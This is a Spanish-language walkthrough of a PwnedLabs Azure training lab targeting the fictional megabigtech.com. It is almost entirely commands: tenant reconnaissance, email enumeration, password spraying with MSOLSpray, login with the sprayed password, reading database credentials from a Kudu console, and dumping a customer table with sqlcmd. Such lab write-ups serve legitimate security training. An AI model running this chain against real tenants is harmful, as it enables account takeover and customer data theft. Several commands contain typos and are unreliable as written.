Azure Recon to Foothold and Profit
Azure PwnedLabs
Vemos si la empresa usa Azure AD o Entra ID
https://login.microsoftonline.com/getuserrealm.srf?login=megabigtech.com&xml=1

Y si lo quieres automatizar lo puedes hacer asi

Corremos el siguiente comando
cloud_enum -k "mega big tech" --disable-aws --disable-gcp

python3 oh365userfinder.py -d megabigtech.com

Nos dirigimos a https://login.microsoftonline.com/megabigtech.com/.well-known/openid-configuration

Lo podemos conseguir tambien con lo siguiente:
Install-Module AADInternals
Import-Module AADInternals
Get-AADIntTentantID -Domain megabigtech.com
Get-AADIntLoginInformation -Domain megabigtech.com

Invoke-AADIntReconAsOutsider -DomainName megabigtech.com | Format-Table

python3 azsubenum.py -b megabigtech --thread 10
Genera un archivo report.html

Parece que el dominio es azurewebsites.net. Otros dominios que tambien son reconocidos son .blob.core.windows.net o .vault.azure.net
Nos dirigimos a https://megabigtech.azurewebsites.net/

Y vemos que el patron a seguir de la compania para los correos es nombre.apellido@megabigtech.com

Para moder automatizar esto podemos usar una herramienta llamada username-anarchy
username-anarchy --input-file users.txt --select-format first.last > mega_users.txt
yuki.tanaka@megabigtech.com
yamamoto.sota@megabigtech.com
takahashi.hina@megabigtech.com
kato.sara@megabigtech.com
Creamos un archivo mega_users.txt con los correos de arriba.
Para poder hacer esto abrimos vim y ponemos lo siguiente:
%s/$/#megabigtech.com/

bc megauser.txt

python 0h365userfinder.py -r mega_users.txt -w valid_megaemails.txt

python3 omnispray.py --type enum -uf megausers.txt --module o365_enum_office

Vemos que la famosa yuki.tanaka@megabigtech.com es la unica que se pudo validar.
Import-Module MSOLSpray .ps1
Invoke-MSOLSpray -UserList user.txt -Password “MegaDev79$” -Verbose

Yo siempre trato de limpiar todo antes de iniciar sesion.
az logout
Disconnect-AzAccount
az login -u yuki.tanaka@megabigtech.com -p 'MegaDev79$'
az account show

Connect-AzAccount -AccountId "yuki.tanaka@megabigtech.com"

Introducimos la contrasena por el formulario de la pagina web.

Si queremos adquirir mas informacion del usuario.
Install-Module -Name Az -Repository PSGallery -Force Import-Module -Name Az Install-Module -Name Microsoft.Graph -Scope CurrentUser -AllowClobber -Force Import-Module -Name Microsoft.Graph
Install-Module -Name Az -Repository PSGallery -Force Import-Module -Name Az Install-Module -Name Microsoft.Graph -Scope CurrentUser -AllowClobber -Force Import-Module -Name Microsoft.Graph
Get-AzADUser

Get-AzADUser -UserPrincipalName ‘yuki.tanaka@megabigtech.com’ | fl

Nos damos cuenta que el usuario es un microsoft.graph.user


Y vemos que es parte de estos grupos


Get-AzResource

Get-AzRoleAssignment -SignInName yuki.tanaka@megabigtech.com

Get-AzWebApp -Name megabigtechdevapp23 | select enabledhostnames

Nos dirigimos a la pagina web http://megabigtechdevapp23.azurewebsites.net

Podemos ver Kudu.
Nos dirigimos a https://megabigtechdevapp23.scm.azurewebsites.net/

Le damos click a Debug-console->Powershell
env | grep -i -e "DB"

sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P 'V%#J3c5jceryjcE' -d customerdevneddb -Q "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'"

sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P 'V%#J3c5jceryjcE' -d customerdevneddb -Q "SELECT * FROM CustomerData"

Bajamos Customer.csv y buscamos el flag.
